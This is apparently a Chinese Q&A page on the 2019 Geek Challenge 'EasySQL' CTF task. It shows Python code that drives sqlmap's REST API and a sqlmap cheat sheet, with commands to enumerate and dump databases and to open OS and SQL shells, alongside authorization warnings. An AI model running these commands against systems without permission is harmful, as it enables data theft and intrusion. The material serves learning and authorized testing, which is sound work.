[极客大挑战 2019]EasySQL 1 sqlmap

你好！关于极客大挑战 2019中的EasySQL 1题，sqlmap是一款常用于自动化SQL注入检测和利用的工具。它可以通过发送恶意的SQL语句来探测和利用存在SQL注入漏洞的Web应用程序。

在EasySQL 1题中，你可能需要使用sqlmap来检测和利用目标网站上的SQL注入漏洞。首先，你需要下载并安装sqlmap工具。然后，通过运行sqlmap命令，并指定目标URL和其他必要参数，来进行自动化的注入检测和利用。

请注意，在进行任何安全测试之前，确保已经获得了合法的授权，并且仅在授权范围内进行测试。安全测试应该始终遵守法律和道德规范。

相关问题

sqlmap之sqlmapapi

### 使用 Sqlmap 及其 API 进行 SQL 注入测试

#### 创建新任务并获取任务 ID
为了启动一个新的 SQL 注入检测任务，首先需要向 `sqlmap` 的 API 发送 HTTP GET 请求来创建一个唯一的任务 ID。此操作可以通过 Python 中的 `requests` 库完成。

import requests

# 定义用于创建新任务的任务 URL
task_new_url = 'http://127.0.0.1:8775/task/new'

# 执行 GET 请求以创建新的任务实例
resp = requests.get(task_new_url)

# 获取返回 JSON 数据中的 taskid 字段作为当前会话的任务标识符
task_id = resp.json()['taskid']

print(f"Created new task with ID {task_id}")

#### 设置目标 URL 并配置扫描参数
一旦有了有效的任务 ID，则可通过 POST 方法发送包含待测 Web 页面链接以及其他必要选项的信息到特定端点来进行进一步设定。

import json

# 配置要扫描的目标网址和其他可能需要用到的头部信息
data = {
    'url': 'http://example.com/vulnerable_page?id=1'
}
headers = {'Content-Type': 'application/json'}

# 构建设置任务的具体 URL 地址模式
task_set_url = f'http://127.0.0.1:8775/option/{task_id}/set'

# 提交带有目标网站详情的数据至服务器
task_set_resp = requests.post(task_set_url, data=json.dumps(data), headers=headers)

if task_set_resp.status_code == 200:
    print("Task configuration successful.")
else:
    print("Failed to configure the task.")

#### 启动扫描过程
当所有准备工作完成后，就可以通过调用相应的 API 接口让 sqlmap 开始实际的安全检查工作了。

start_scan_url = f"http://127.0.0.1:8775/scan/{task_id}/start"

response_start = requests.post(start_scan_url, headers=headers)

status_response = response_start.json()
if status_response['success']:
    print("Scan started successfully!")
else:
    print("Error starting scan:", status_response)

#### 查询扫描状态与结果
最后，在适当的时间间隔内轮询查询正在运行的任务的状态直到它结束，并提取最终的结果报告。

check_status_url = f"http://127.0.0.1:8775/scan/{task_id}/status"
result_data_url = f"http://127.0.0.1:8775/scan/{task_id}/data"

while True:
    check_status_res = requests.get(check_status_url).json()

    if check_status_res["status"] != "running":
        break
    
    time.sleep(5)  # 等待五秒再重新检查一次

final_result = requests.get(result_data_url).json()
for entry in final_result['data']:
    print(entry)

上述代码片段展示了如何利用 python 脚本配合 sqlmap api 实现自动化的 SQL 注入漏洞探测流程[^1][^2][^3]。

sqlmap命令

sqlmap是一款常用的SQL注入工具，常用的命令如下：

1. 基本扫描命令：

python sqlmap.py -u <target_url> --dbs  # 扫描目标URL，获取数据库名
python sqlmap.py -u <target_url> -D <database> --tables  # 扫描目标数据库，获取表名
python sqlmap.py -u <target_url> -D <database> -T <table> --columns  # 扫描目标表，获取列名
python sqlmap.py -u <target_url> -D <database> -T <table> -C <column> --dump  # 扫描目标列，获取数据

2. 更高级的扫描命令：

python sqlmap.py -u <target_url> --level 5 --risk 3  # 高级扫描，设置扫描的等级和风险等级
python sqlmap.py -u <target_url> --crawl=1  # 爬取网站链接，自动进行扫描
python sqlmap.py -u <target_url> --os-shell  # 获取操作系统权限
python sqlmap.py -u <target_url> --sql-shell  # 获取数据库权限

请注意，使用sqlmap进行SQL注入扫描是非常危险的，应该仅在授权的情况下使用。一定要遵守法律法规和道德规范。